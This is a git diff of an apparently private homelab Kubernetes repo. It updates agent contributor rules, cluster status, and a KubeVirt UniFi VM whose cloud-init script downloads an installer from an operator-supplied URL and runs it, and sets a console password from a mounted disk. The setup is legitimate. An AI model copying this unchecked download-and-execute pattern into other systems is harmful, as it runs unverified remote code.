+## 3. Gate before you push
+
+    ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+
+Exit codes are a contract — do not flatten them:
+
+| rc | Meaning |
+|---|---|
+| 0 | PASS |
+| 1 | BLOCKED — something failed |
+| 3 | UNDETERMINED — a stage did not run. **Never report this as green.** |
+
+`spec-immutability` reaches rc 3 whenever the sibling spec repo is not checked out
+beside this one; that single skip is expected and tolerated — and from a worktree it is
+avoidable outright (§3's worktree list, item 3). `gitea-settings` is the other expected
+skip: it needs `SETTINGS_API_TOKEN`, which exists only in CI, so **a local run cannot
+return 0** — the honest best local result is rc 3 with `gitea-settings` as the only stage
+that did not run. Any *further* skip is a real gap in your run. Report the rc and name the
+skipped stages; never round rc 3 up.
+
+**Never gate on the host.** `promtool` and `kustomize` are not on the host `$PATH`,
+so checks SKIP and you get a false rc 3. Only the pinned toolbox result counts.
+
+### Running the gate from a worktree
+
+This is the **normal** path, not an edge case — §0 requires you to be in a worktree, so
+every gate run you do hits all of these. Three known breakages, all with
+workarounds, all of them yours to apply every run — put them in any agent brief:
+
+1. **`dev.sh` refuses to start:** `infra/ansible/.cache/prod.kubeconfig` is untracked
+   and exists only in the main checkout. Do **not** copy it (it is a credential).
+   Use `DEV_KUBECONFIG=/dev/null` — the gate contacts no cluster, so L2/L3 scaffold-skip
+   normally.
+2. **Every `git` call inside the container fails:** a worktree's `.git` is a pointer to a
+   gitdir outside the mounted root. `dev.sh` takes no extra-mount flag, so inject one via
+   the `ENGINE` hook — a shim that intercepts `run` and re-execs
+   `podman run -v /path/to/main/.git:/path/to/main/.git:ro "$@"`. A traceback in
+   `tracked_files()` is this bug, not a broken tree.
+3. **`spec-immutability` skips** — the skip called tolerated above is also *avoidable*. `dev.sh`
+   derives the sibling spec path from its own `REPO_ROOT`, which in a worktree is your
+   workspace, so `../home-network-k3s` does not resolve and it adds no mount. Mount the spec
+   repo read-only in the same `ENGINE` shim and pass `-e SPEC_REPO=/home-network-k3s`: with
+   both mounts the stage reports `pass`, not SKIPPED, and R-TEST-06 is actually covered
+   (measured — `decisions/2026-10-01-render-selftest-runs-in-gate.md`).
+
+## 4. Branch naming
+
+Use `feat/`, `fix/`, `docs/`, `chore/`. **One branch, one workspace, one PR** — if you
+need a second branch, make a second worktree (§0); do not re-point an existing one. Note that `.gitea/workflows/gate.yml`'s **push**
+trigger lists `feature/**` — not `feat/**` — so branch pushes get no fast-feedback run.
+The `pull_request` trigger fires regardless of branch name, so the PR gate is unaffected.
+
+## 5. Cluster access
+
+`kubectl` does not work on the operator workstation; the toolchain lives only in the
+pinned container. Always name the context explicitly:
+
+    ./infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod get nodes'
+
+`dev.sh` merges both clusters and picks a current-context **per invocation**; that
+default has already changed once. Never rely on it. Do not run two `dev.sh`
+invocations concurrently.
+
+**Mutating `kubectl` and `flux reconcile` are operator actions, not agent actions.**
+
+## 6. Secrets
+
+- **Never `sops -d` a file into a terminal, a log, or a transcript.**
+- **Never print a Secret's `.data`/`.stringData`** when checking whether it exists —
+  list key names or object names only. A password has been leaked into a transcript
+  this way before.
+- Encrypted files are `*.sops.yaml` or live under `secrets/`. The root `.sops.yaml` is
+  the single creation-rules file; do not add a second one in a subtree.
+- A short-lived credential (e.g. a plex.tv claim token, ~minutes) cannot survive the PR
+  flow. Do not design around committing one — read the expiry from the issuing page and
+  treat a burnt token as free to retry.
+
+## 7. Before you finish — write a handoff entry, in its OWN file
+
+Add **one new file**:
+
+    decisions/YYYY-MM-DD-<slug>.md          <slug> = your branch's last segment
+
+with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
+
+    ## What changed
+    ## What I verified
+    ## What I did NOT verify
+
+State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
+and this repo has already been burned by the difference. All three headings are
+**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
+Template and full rationale: `decisions/README.md`.
+
+**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
+SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
+to it. Appending to its tail is what every agent used to do, and because every branch
+appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
+on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
+`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
+anything to do with each other. Separate files have nothing to merge, which is the
+entire fix. Note that the damage from getting this wrong lands on *other people's*
+branches, later, which is why it is a gate stage and not a request.
+
+Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
+wording is **stale**, in the same way §1's `git push origin main` wording is stale.

README.md

@@ -11,6 +11,9 @@ specification** at [`../home-network-k3s`](../home-network-k3s).
 - **Done = a green, reproducible, requirement-tagged conformance test** — never "merged," never a
   manual demo (spec `docs/14`, `agents/definition-of-done.md`).
 - **No work on `main`.** Every change is a feature branch merged into `main` (spec `CONTRIBUTING.md`).
+- **No work in a shared checkout.** Every agent run gets its own git worktree, outside the repo
+  root, branched from `origin/main`. This checkout is shared mutable state — see
+  [`CLAUDE.md` §0](CLAUDE.md).
 - **No plaintext secrets** — SOPS-encrypted only (spec `docs/07`).
 - **Phase discipline** — only build what the active roadmap phase authorizes (spec `roadmap/phases.md`).
 
@@ -21,7 +24,8 @@ infra/          node provisioning: OpenTofu (Proxmox VE) + cloud-init + Ansible,
 bootstrap/      one-time cluster bootstrap: Flux install, SOPS/age key, host Gitea
 platform/       platform CONTROLLERS (Flux HelmReleases / operator bases): kyverno, cilium,
                 longhorn, external-snapshotter, cert-manager, externaldns, gateway, coredns,
-                vpn-egress, monitoring, cnpg, keycloak, oauth2-proxy, kubevirt
+                vpn-egress, vpn-ingress, monitoring, cnpg, keycloak, oauth2-proxy, kubevirt
+                (vpn-egress = pods OUT via PIA; vpn-ingress = remote clients IN via WireGuard)
 platform-config/ platform CONFIGS — the custom resources of the CRDs installed above
                 (ClusterIssuers, Gateway, Kyverno policies, KubeVirt/CDI CRs, Keycloak CRs).
                 Split out because CRs and the CRDs they use cannot apply in one pass.
@@ -38,28 +42,76 @@ ci/             the gate as scripts (lint · schema · Kyverno L0 · L1 render
 
 ## Status
 
-Roadmap phases **0–6 are delivered and deployed** on the dev cluster; **Phase 7 (prod) is not
-open** — `clusters/prod` is a design-only overlay.
+Roadmap phases **0–6 are delivered**, and **Phase 7 (Production Readiness) is OPEN and in
+progress**. `clusters/prod` is no longer a design-only overlay: prod is the live cluster, serving the
+apex `home.keithjackson.dev`. The dev cluster was **decommissioned on 2026-09-12** (full migration:
+dev out, prod onto the apex — see the DECISIONS-LOG), so phases 0–6 are now exercised on prod
+hardware rather than on Proxmox VMs.
+
+**Phase 7 exit criteria** — *prod runs the same config via the prod overlay; DR proven; monitoring +
+alerts live*:
+
+| criterion | state |
+|---|---|
+| prod runs the prod overlay | **met** — 3× mini-PC bare metal, one Flux tree, prod overlay only |
+| monitoring + alerts live | **met 2026-09-13** — see the note below; this was not true before that date |
+| **DR proven** | **R-STATE-03 PROVEN on prod 2026-09-14** — off-cluster restore from Cloudflare R2. `R-STATE-02` (node-loss) is still dev-only |
+
+**DR restore is proven on prod.** `R-STATE-03` reads `proven` in `--status` as of 2026-09-14 —
+the first requirement in this repo to reach that state. Both of its verifiers are recorded:
+`dr-restore` (L3, run `20260914T021505Z-24b8111`, sentinel `DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK`)
+and `placeholder-guard-coupling` (L0). The L3 drill seeds a canary on the replicated `longhorn`
+class, backs the namespace and volume data up off-cluster, **destroys every in-cluster copy**
+(namespace, PVC and PV), restores into a clean namespace, and asserts the restored PVC binds a
+*different* PersistentVolume — so an in-cluster survival cannot pass as a restore.
+
+**What remains for Phase 7:** `R-STATE-02` (`node-loss`) is still proven only on the decommissioned
+dev cluster. That drill takes a real node down on a live cluster, so it is a deliberate, scheduled
+exercise rather than something to run in passing.
+
+Read `--coverage-only` and `--status` as two different questions; the earlier `PROVEN: 0` was not a
+bug but the honest answer, because proofs are claims about a specific tree on a specific cluster.
 
 | Phase | Delivered |
 |---|---|
 | 0 Foundations | ServiceDefinition schema + renderer, Kyverno L0 gate, conformance harness, CI |
-| 1 Cluster bring-up | 3-node k3s HA on **Proxmox VE** (`192.168.1.50/.51/.52`), Cilium, Flux, SOPS |
-| 2 Platform core | Cilium · Longhorn · cert-manager (LE-prod wildcard) · ExternalDNS · Gateway API · split-horizon CoreDNS |
+| 1 Cluster bring-up | 3-node k3s HA, embedded etcd, kube-vip VIP, Cilium, Flux, SOPS. Originally Proxmox VMs; **now 3× mini-PC bare metal** (`k3s-prod-1/2/3`, `192.168.2.10/.11/.12`, k3s v1.36.4+k3s1, Debian 13) |
+| 2 Platform core | Cilium · Longhorn · cert-manager (LE-prod wildcard) · ExternalDNS · Gateway API · split-horizon DNS, **both halves**: CoreDNS for pods, and **PiHole as the authoritative LAN resolver** for `${BASE_DOMAIN}` on udp/53 + tcp/53 at a pinned VIP (`192.168.2.23` on prod). The LAN half was claimed from the start but did not exist until 2026-09-14 — PiHole's Service was ClusterIP :80/:4180, so LAN clients ran on hand-maintained per-client `dnsmasq` files |
 | 3 Egress / VPN | ADR-0015 node-level OpenVPN split-tunnel + Cilium egress-gateway steering + host kill-switch |
-| 4 Observability | kube-prometheus-stack · Loki · Alloy · Alertmanager. **Velero still blocked on OQ-BKP**; image-automation authored but disabled |
+| 4 Observability | kube-prometheus-stack · Loki · Alloy · Alertmanager. **Velero unblocked 2026-09-13** — backs up to Cloudflare R2 (OQ-BKP closed; the `velero-plugin-for-aws` tagging incompatibility needed a pinned plugin). Longhorn has **no** backup target by decision: volume data is protected by Velero + kopia to R2. image-automation authored but disabled |
 | 5 IaaS | KubeVirt + CDI on real nested KVM; live-migratable RWX VM storage. The UniFi VM runs, but **UniFi OS Server is not yet installed in the guest** |
 | 6 Identity + CI | Keycloak (Operator + CNPG) · oauth2-proxy forward-auth · Grafana OIDC · **kubectl OIDC SSO with group→RBAC** · in-cluster Gitea Actions merge gate |
+| **7 Production readiness** | **IN PROGRESS** (DR restore proven 2026-09-14; node-loss outstanding). Prod live on bare metal serving the apex; dev decommissioned; CNPG HA 3 instances with primaries spread one per node; NFS bulk media + legacy Nextcloud mounted; VPN egress on prod. Alerting made real 2026-09-13 (Longhorn, cert-manager, Flux and twelve app SLIs had all been unable to fire). **Open: `node-loss` (R-STATE-02) re-proven on prod.** |
 
-**Conformance: 36 / 51 requirements covered (70.6%)**, 15 gaps, 1 safety-critical gap
-(`R-STATE-02`, Longhorn node-loss). Regenerate with `./conformance/run.sh --coverage-only`;
-the full report is `conformance/_artifacts/coverage/coverage.md`.
+**Conformance: 51 / 51 requirements covered (100%)**, 0 gaps, 0 safety-critical gaps (closed
+2026-09-13; `R-C2-01`/`R-C2-02` were the last two). Regenerate with
+`./conformance/run.sh --coverage-only`; the full report is
+`conformance/_artifacts/coverage/coverage.md`.
+
+Coverage is **not** proof. A requirement is *covered* when an executable test exists for it, and
+*PROVEN* only when a recorded run of that test is in `conformance/runs/ledger.jsonl` at the current
+SHA on the cluster it claims. Read both numbers: `--coverage-only` for the first, `--status` for the
+second.
 
 The running narrative — decisions, root causes, incidents, follow-ups — is
 [`DECISIONS-LOG.md`](DECISIONS-LOG.md). It, not this table, is the authoritative record.
 
 ## Working on this repo
 
+**First, get out of this checkout.** It is the operator's working copy and several agents
+share it; concurrent runs here have overwritten each other's branches and left each other's
+uncommitted files behind. One workspace per change:
+
+```bash
+git fetch origin main
+git worktree add -b <type>/<slug> /path/outside/the/repo/wt-<slug> origin/main
+cd /path/outside/the/repo/wt-<slug>
+```
+
+Outside the repo root specifically — a worktree under `.claude/worktrees/` is a second full
+copy that tree-walking gate checks then count twice. The rule, the measurements behind it, and
+the three gate workarounds a worktree needs are in [`CLAUDE.md` §0](CLAUDE.md) and §3.
+
 Everything the gate needs is baked into the pinned dev container — **do not install the
 toolchain on the host**:
 

apps/vms/unifi/30-virtualmachine.yaml

@@ -41,10 +41,41 @@ spec:
       # disk KubeVirt cannot migrate and eviction would hard-stop the guest.
       evictionStrategy: LiveMigrate
       domain:
+        # =====================================================================================
+        # FIRMWARE UUID == THE CLOUD-INIT INSTANCE-ID. THIS IS THE RE-RUN LEVER. READ BEFORE EDIT.
+        # =====================================================================================
+        # MEASURED on prod 2026-09-14, not assumed:
+        #   * the NoCloud seed KubeVirt builds for this VM carries
+        #       {"instance-id":"de5c3338-6d32-4956-89d1-12c8272b2c07","local-hostname":"unifi"}
+        #     (read out of noCloud.iso inside virt-launcher-unifi-gp594), and that value was
+        #     EXACTLY `spec.template.spec.domain.firmware.uuid`, which KubeVirt's mutating webhook
+        #     had stamped onto the VM OBJECT — so it is PERSISTENT, not per-VMI (the VMI's own uid
+        #     was b532fd7c-…, a different value). It is not a hash of the VM name either: the four
+        #     standard uuid5 namespaces over "unifi" / "unifi.unifi" all produce something else.
+        #   * cloud-init's NoCloud datasource decides "is this the same instance?" by comparing the
+        #     cached instance-id against the guest's DMI product_uuid — which IS this firmware UUID.
+        #
+        # CONSEQUENCE, and it is the whole reason the previous unattended attempt could never have
+        # worked: EDITING `userData` BELOW AND RESTARTING THE VM CHANGES NOTHING. cloud-init sees an
+        # unchanged instance-id, restores its CACHED datasource, never re-reads the seed, and skips
+        # every per-instance module (write_files, runcmd). The new payload is silently ignored.
+        #
+        # So the UUID is pinned HERE, in git, and BUMPING IT IS THE SUPPORTED WAY to make the guest
+        # process a new cloud-init payload: change the trailing hex, commit, restart the VM. Pinning
+        # it also makes a rebuild reproducible — a fresh apply would otherwise take a random
+        # webhook-generated UUID and give the guest a different identity every time.
+        #
+        # The value below is DELIBERATELY NOT the de5c3338-…c07 the live guest booted with: that
+        # difference is what makes the next boot a NEW cloud-init instance and installs the
+        # `install-uos` helper + its systemd unit. `serial` is pinned to the value the webhook
+        # already stamped, so this change does not also churn the guest's DMI serial.
+        firmware:
+          uuid: "de5c3338-6d32-4956-89d1-12c8272b2c11"
+          serial: "24bb12ac-d311-45f6-a75b-90a9e1b63e18"
         # FLAG (verify-at-bringup): Ubuntu 24.04 amd64 cloud images are hybrid BIOS+UEFI bootable,
         # so KubeVirt's default SeaBIOS SHOULD boot cleanly (unlike the Fedora containerdisk, which
-        # is UEFI-only and needed an explicit efi block). If the guest drops to emergency/no-boot,
-        # add:  firmware: { bootloader: { efi: { secureBoot: false } } }
+        # is UEFI-only and needed an explicit efi block). RESOLVED at bring-up: boots as shipped;
+        # the guest reports Ubuntu 24.04.4 LTS.
         cpu:
           cores: 2
         memory:
@@ -58,9 +89,28 @@ spec:
             - name: cloudinit
               disk:
                 bus: virtio
+            # The operator's installer URL (+ optional SSH key), delivered as a tiny read-only
+            # iso9660 disk — see the `uosdata` volume near the bottom of this file.
+            - name: uosdata
+              disk:
+                bus: virtio
           interfaces:
+            # MAC PINNED 2026-09-18, and this is a root-cause fix, not cosmetics.
+            # KubeVirt generates a fresh MAC for every VMI when none is pinned. cloud-init writes
+            # /etc/netplan/50-cloud-init.yaml with a `match` on the MAC it saw, and it will NOT rewrite
+            # that file while the NoCloud instance-id is unchanged — and the instance-id here is
+            # domain.firmware.uuid, which is stable across restarts by design. So each VMI recreation
+            # handed the guest a NEW MAC that the retained netplan did not match, leaving enp1s0
+            # administratively DOWN with no address and no DHCP attempt.
+            # That is exactly what the evidence shows for the boot of 2026-09-12: cloud-init's own
+            # device table reports `enp1s0 | Up: False | Address: .`, no apt failures are logged
+            # (because the per-instance modules were skipped), yet UOS is installed and
+            # qemu-guest-agent runs — both of which required a working network on an EARLIER VMI.
+            # Pinning the MAC to the value the current VMI already holds makes the guest's netplan
+            # match permanently, so this cannot recur on the next recreation.
             - name: default
               masquerade: {}
+              macAddress: a6:d7:c0:b3:72:fa
               # Declaring ports on a masquerade iface (a) restricts pod->VM forwarding to exactly
               # these and (b) surfaces them as containerPorts on the virt-launcher pod so the
               # LoadBalancer Services + CiliumNetworkPolicy ingress can target/match them.
@@ -83,41 +133,112 @@ spec:
         - name: rootdisk
           dataVolume:
             name: unifi-rootdisk
+        # =====================================================================================
+        # THE OPERATOR'S ONE FIELD — SOPS Secret `unifi-uos-installer`, delivered as a DISK.
+        # =====================================================================================
+        # KubeVirt exposes a Secret as a small read-only iso9660 disk whose volume label we choose;
+        # each Secret key becomes a file on it. The guest mounts it by label (LABEL=UOSDATA) and
+        # reads `installer-url` plus an optional `console-password`. The Secret ships ENCRYPTED with
+        # REPLACE-ME placeholders, and the guest-side script treats anything that is not an https
+        # URL as "not provided yet" and exits 0 — so the VM boots and stays healthy until the
+        # operator fills it in. See unifi-uos-installer.sops.yaml.example next to this file.
+        #
+        # `console-password` exists because THERE IS CURRENTLY NO WAY INTO THIS GUEST. The stock
+        # Ubuntu cloud image ships a locked `ubuntu` account, this cloud-init never installed a key,
+        # and SSH could not help anyway: the masquerade interface above forwards ONLY the declared
+        # ports, and 22 is not one of them — probed from inside virt-launcher on 2026-09-14, the
+        # guest answers RST on 22 exactly as it does on the UniFi ports. The serial console is the
+        # only door, and a console needs a password. Set it and `virtctl -n unifi console unifi`
+        # works; `kubectl -n unifi logs virt-launcher-unifi-… -c guest-console-log` already gives
+        # read-only console output with no virtctl at all.
+        #
+        # WHY A SEPARATE DISK AND NOT `cloudInitNoCloud.secretRef` (which would also lift the
+        # 2048-byte inline cap): secretRef moves the ENTIRE cloud-config into ciphertext. Two
+        # concrete costs. (a) The shell below stops being reviewable in a diff and falls outside the
+        # L0 dollar-collapse guard, which can only read plaintext. (b) Flux runs its postBuild
+        # envsubst over the DECRYPTED resources, so the escape contract in
+        # clusters/base/apps-vms.yaml would still govern text nobody can see in git — the exact
+        # shape of the 2026-09-13 nextcloud-db incident. Keeping the script in plaintext and putting
+        # ONLY the operator's two values behind SOPS keeps both properties.
+        #
+        # A CHANGED SECRET REACHES THE GUEST ON THE NEXT VMI START with NO firmware-UUID bump: the
+        # disk is rebuilt from the Secret every time the VMI starts, and the systemd unit below
+        # re-reads it on EVERY boot instead of relying on cloud-init (which will not re-run — see
+        # the firmware block above). The UUID bump is a ONE-TIME step, to get that unit installed.
+        - name: uosdata
+          secret:
+            secretName: unifi-uos-installer
+            volumeLabel: UOSDATA
         - name: cloudinit
           cloudInitNoCloud:
-            # INLINE (kept < KubeVirt's 2048-byte userData limit — so NO SSH key here; add one back via
-            # userDataSecretRef only if needed). qemu-guest-agent gives the KubeVirt AgentConnected
-            # signal (proves cloud-init ran); install-uos resolves the latest UOS linux-x64 build from
-            # Ubiquiti's PUBLIC firmware API (no auth) and installs it non-interactively (UI on :11443).
-            # NOTE: apps-vms NOW carries postBuild.substituteFrom cluster-vars (needed for
-            # ${UNIFI_L4_VIP} in 50-service-l4.yaml), so Flux envsubst DOES run over this userData.
-            # Every shell brace-expansion below is therefore escaped as $${...}, which envsubst emits
-            # as a literal $${...} — verified with `flux envsubst`. Bare $VAR and $(...) are left alone
-            # by envsubst and need no escaping. NEVER write an unescaped $${...} here, and never write
-            # an INDEXED expansion unescaped: envsubst hard-fails on `[` ("missing closing brace")
-            # and would break the whole apps-vms apply. CORRECTION (2026-09-01, measured against
-            # flux 2.4.0 `envsubst --strict`): escaping IS total — $${ARR[0]} emits the literal
-            # text safely. Only the UNESCAPED indexed form is fatal. The earlier "escaped or not"
-            # wording in clusters/base/apps-vms.yaml overstated it.
+            # INLINE, and it MUST stay <= 2048 bytes. That ceiling was MEASURED against the
+            # DEPLOYED KubeVirt v1.9.0 rather than quoted: a server-side dry-run apply of an
+            # otherwise-identical VM accepted 2048 bytes of userData and rejected 2049 with
+            # "cloudInitNoCloud userdata exceeds 2048 byte limit. Should use UserDataSecretRef for
+            # larger data." The payload below is ~1.5 KB; keep additions small.
+            #
+            # WHAT IT DOES: installs qemu-guest-agent (the KubeVirt AgentConnected signal, which is
+            # also the proof cloud-init ran) and preps Podman for UOS, then writes `install-uos`
+            # plus a systemd unit that runs it on EVERY boot. The unit — not cloud-init — is what
+            # makes a later URL change take effect, because cloud-init will not re-run per-instance
+            # modules while the instance-id is unchanged.
+            #
+            # `install-uos` IS IDEMPOTENT AND WILL NOT REINSTALL OVER A WORKING CONTROLLER. It bails
+            # out the moment systemd knows a `uosserver.service` — which the live guest ALREADY has:
+            # the serial console log for the current boot shows both `uosserver.service` and
+            # `uosserver-updater.service` starting, and the root filesystem is 6.3 GB of 40 GB used.
+            # UOS is installed here; see the README for what is actually wrong (the guest lost its
+            # IP). A stamp file at /var/lib/uos-installed is the second, weaker guard for the case
+            # where the unit name changes in some future UOS release.
+            #
+            # ENVSUBST: apps-vms declares postBuild.substituteFrom (for ${UNIFI_L4_VIP} in
+            # 50-service-l4.yaml), so Flux's envsubst DOES run over this text. ${BASE_DOMAIN} below
+            # is a deliberate substitution. Everything else is bare `$name` or `$(cmd)`, both of
+            # which envsubst leaves untouched — verified against the live VMI, whose rendered
+            # userData still carries its shell variables verbatim. There is deliberately NO
+            # brace-form shell expansion left in this payload, so nothing here needs escaping; if
+            # you add one, escape it per the contract in clusters/base/apps-vms.yaml, and NEVER
+            # write an indexed expansion.
             userData: |-
               #cloud-config
               hostname: unifi
               fqdn: unifi.${BASE_DOMAIN}
               package_update: true
               package_upgrade: false
-              packages: [qemu-guest-agent, podman, uidmap, slirp4netns, ca-certificates, curl, jq, cloud-guest-utils]
+              packages: [qemu-guest-agent, podman, uidmap, slirp4netns, ca-certificates, curl]
               write_files:
                 - path: /usr/local/sbin/install-uos
                   permissions: '0755'
                   content: |
-                    #!/usr/bin/env bash
+                    #!/bin/bash
                     set -euo pipefail
-                    if [ -z "$${UOS_URL:-}" ]; then
-                      UOS_URL="$(curl -fsSL https://fw-update.ui.com/api/firmware-latest | jq -r '._embedded.firmware|map(select(.product=="unifi-os-server" and .platform=="linux-x64"))|sort_by(.version_major,.version_minor,.version_patch)|last._links.data.href')"
-                    fi
-                    [ -n "$${UOS_URL}" ] && [ "$${UOS_URL}" != "null" ] || { echo "no UOS URL"; exit 1; }
-                    t="$(mktemp)"; echo "downloading $${UOS_URL}"; curl -fL --retry 5 --retry-delay 10 -o "$t" "$UOS_URL"; chmod +x "$t"; echo "installing"; yes | "$t"; echo "done"
+                    d=/run/uos; mkdir -p $d
+                    mountpoint -q $d || mount -o ro LABEL=UOSDATA $d
+                    p=$(tr -d '\r\n' < $d/console-password || true)
+                    case "$p" in ""|REPLACE-ME) ;; *) echo "ubuntu:$p" | chpasswd ;; esac
+                    systemctl cat uosserver.service >/dev/null 2>&1 && exit 0
+                    s=/var/lib/uos-installed
+                    [ -e $s ] && exit 0
+                    u=$(tr -d '\r\n' < $d/installer-url || true)
+                    case "$u" in https://*) ;; *) echo "UOS installer-url not set yet"; exit 0;; esac
+                    t=$(mktemp)
+                    curl -fL --retry 5 --retry-delay 10 -o $t "$u"
+                    chmod +x $t
+                    yes y | $t install || yes y | $t
+                    rm -f $t; date -Is > $s
+                - path: /etc/systemd/system/uos-install.service
+                  content: |
+                    [Unit]
+                    Description=Install UniFi OS Server
+                    Wants=network-online.target
+                    After=network-online.target
+                    [Service]
+                    Type=oneshot
+                    ExecStart=/usr/local/sbin/install-uos
+                    StandardOutput=journal+console
+                    [Install]
+                    WantedBy=multi-user.target
               runcmd:
-                - [ systemctl, enable, --now, qemu-guest-agent ]
-                - [ systemctl, enable, --now, podman.socket ]
-                - [ bash, -lc, "/usr/local/sbin/install-uos 2>&1 | tee /var/log/uos-install.log > /dev/console" ]
+                - [systemctl, enable, --now, qemu-guest-agent]
+                - [systemctl, enable, --now, podman.socket]
+                - [systemctl, enable, --now, uos-install.service]

apps/vms/unifi/50-service-l4.yaml

@@ -21,8 +21,61 @@
 # k3s v1.31 — but the shared-key split is the lower-risk, Cilium-native pattern.)
 #
 # selector kubevirt.io/vm=unifi -> the virt-launcher pod; masquerade forwards the declared ports
-# into the guest. externalTrafficPolicy: Local preserves the LAN client source IP and keeps the
-# VIP pinned to the node running the VM (also what L2 announcement does).
+# into the guest.
+#
+# -------------------------------------------------------------------------------------------
+# externalTrafficPolicy: Cluster — CORRECTED 2026-09-14 after an 8-DAY LAN OUTAGE.
+# -------------------------------------------------------------------------------------------
+# This file used to say `Local`, justified as "preserves the LAN client source IP and keeps the
+# VIP pinned to the node running the VM (also what L2 announcement does)". BOTH HALVES OF THAT
+# WERE FALSE ON THIS CLUSTER, and the second one took the UniFi controller off the LAN entirely.
+#
+# 1) L2 ANNOUNCEMENT DOES NOT FOLLOW THE BACKEND. Cilium's L2 announcer elects one lease holder
+#    per Service among the nodes matching the CiliumL2AnnouncementPolicy `default-l2` — which
+#    matches ALL linux nodes — and it does NOT filter that set by which nodes hold a backend.
+#    MEASURED on prod 2026-09-14: the unifi VM ran on k3s-prod-1 while BOTH
+#    `cilium-l2announce-unifi-unifi-l4-tcp` and `-udp` were held by k3s-prod-2. With `Local`, an
+#    announcing node that holds no backend has nowhere to send the packet and answers ICMP port
+#    unreachable. 192.168.2.21:8443, :8080 and :11443 were dead from the LAN for up to 8 days
+#    (the leases were 8 days old); the operator's controller UI and device inform path were down.
+#    It does NOT self-heal: the lease holder keeps RENEWING after the backend moves, so only
+#    deleting the Lease forces a re-election — and that re-election is random, so it can pick a
+#    backend-less node again. See apps/wave-0/pihole-dns.yaml, which hit this first and is the
+#    reference implementation this file now follows.
+#
+# 2) `Local` WAS NEVER PRESERVING THE CLIENT IP HERE ANYWAY — this is a KubeVirt VM. The
+#    interface in 30-virtualmachine.yaml is `masquerade: {}`, which is KubeVirt's NAT binding: it
+#    SNATs everything from the virt-launcher pod into the guest over a private link, so the UniFi
+#    controller has always seen the pod-side masquerade gateway as the source, never the LAN
+#    client. There is a SECOND translation below the Service, and it already destroyed the very
+#    thing `Local` was being kept for. So the client-IP cost of this change is ZERO for UniFi:
+#    it is giving up an address the guest could not see in the first place.
+#
+#    Nothing UniFi depends on breaks: device identity in the adoption/inform flow is the device
+#    MAC (and the device reports its own IP inside the inform payload), not the packet source,
+#    and guest-portal authorization runs on the gateway appliance, not on this controller.
+#
+# `Cluster` makes EVERY node able to serve the VIP by forwarding to wherever the VM runs, which
+# is what makes this survive a reschedule and a rebuild.
+#
+# NO CHANGE IS NEEDED IN 40-networkpolicy.yaml, AND THAT WAS VERIFIED RATHER THAN ASSUMED.
+# Under `Cluster` the forwarded second hop is sourced from the ingress node and carries Cilium's
+# reserved `remote-node` identity. pihole-dns.yaml has to name `remote-node` explicitly in its
+# CiliumNetworkPolicy — but that is because its policy deliberately omits `cluster`.
+# unifi-allow-l4-ingress admits `cluster`, and Cilium's `cluster` entity SUBSUMES `remote-node`
+# (along with host/init/unmanaged). Confirmed on prod 2026-09-14 by dumping the endpoint's
+# datapath policy map (`cilium-dbg bpf policy get`) while the CNP was in its unmodified state:
+# `reserved:remote-node` was already an Allow on the L4 ports. Adding `remote-node` to that rule
+# would be a no-op, so it is deliberately NOT added here — do not "fix" it.
+#
+# NO loadBalancerSourceRanges HERE, DELIBERATELY — and this is where this file departs from
+# pihole-dns.yaml. PiHole added `loadBalancerSourceRanges: [${LAN_CIDR}]` because it was giving
+# up a restriction it actually had and genuinely needed to be LAN-only. These Services never had
+# a source restriction at all (unifi-allow-l4-ingress admits `world`), so `Cluster` removes no
+# protection and there is nothing to compensate for. Adding a LAN-only filter during an outage
+# fix would be a NEW restriction that could silently break a remote site's device informing over
+# WAN — trading this outage for a subtler one. If UniFi should be LAN-only, that is its own
+# change, made deliberately and tested against the device fleet.
 #
 # VIP: ${UNIFI_L4_VIP} (cluster-vars, R-ENV-02; dev 192.168.1.54, confirmed free, inside
 # default-pool and reserved in tofu — the Gateway already holds the pool's first IP, dev .53).
@@ -49,7 +102,7 @@ metadata:
     external-dns.alpha.kubernetes.io/hostname: "unifi.${BASE_DOMAIN}"
 spec:
   type: LoadBalancer
-  externalTrafficPolicy: Local
+  externalTrafficPolicy: Cluster
   selector:
     kubevirt.io/vm: unifi
   ports:
@@ -72,7 +125,7 @@ metadata:
     lbipam.cilium.io/ips: "${UNIFI_L4_VIP}"
 spec:
   type: LoadBalancer
-  externalTrafficPolicy: Local
+  externalTrafficPolicy: Cluster
   selector:
     kubevirt.io/vm: unifi
   ports:

apps/vms/unifi/README.md

@@ -1,18 +1,48 @@
 # UniFi Network controller (UniFi OS Server) — VM onboarding
 
-> **LIVE — partially.** Reconciled by the **non-gating `apps-vms`** Flux Kustomization
-> (`clusters/base/apps-vms.yaml`, `dependsOn: platform-config`, `wait: false`). VMs are a separate
-> lifecycle from the rendered app waves, and UniFi has no in-cluster dependents, so a slow import
-> or install cannot stall the app tier.
+> **LIVE — but the controller is unreachable, and NOT for the reason this file used to claim.**
+> Reconciled by the **non-gating `apps-vms`** Flux Kustomization (`clusters/base/apps-vms.yaml`,
+> `dependsOn: platform-config` + `platform-config-cdi`, `wait: false`). VMs are a separate lifecycle
+> from the rendered app waves, and UniFi has no in-cluster dependents, so a slow import or install
+> cannot stall the app tier.
 >
-> **Status (verified 2026-08-26):**
-> - `longhorn-vm` StorageClass — **live** (RWX / Block / migratable).
-> - CDI import — **Succeeded** (100%); `unifi-rootdisk` PVC Bound, 40Gi, RWX, `longhorn-vm`.
-> - VM — **Running**, guest agent connected, Ubuntu 24.04.4 LTS, live-migratable, on `k3s-dev-1`.
-> - L4 LoadBalancer VIP `192.168.1.54` — **allocated** on both Services.
-> - **UniFi OS Server itself is NOT installed.** Port `11443` does not answer from in-cluster
->   (the CNP explicitly permits `cluster` → `:11443`, so this is "nothing listening", not policy).
->   The guest is a bare, prepped Ubuntu. **This is the one remaining step** — see Open question 1.
+> **Status (re-verified against live prod 2026-09-14):**
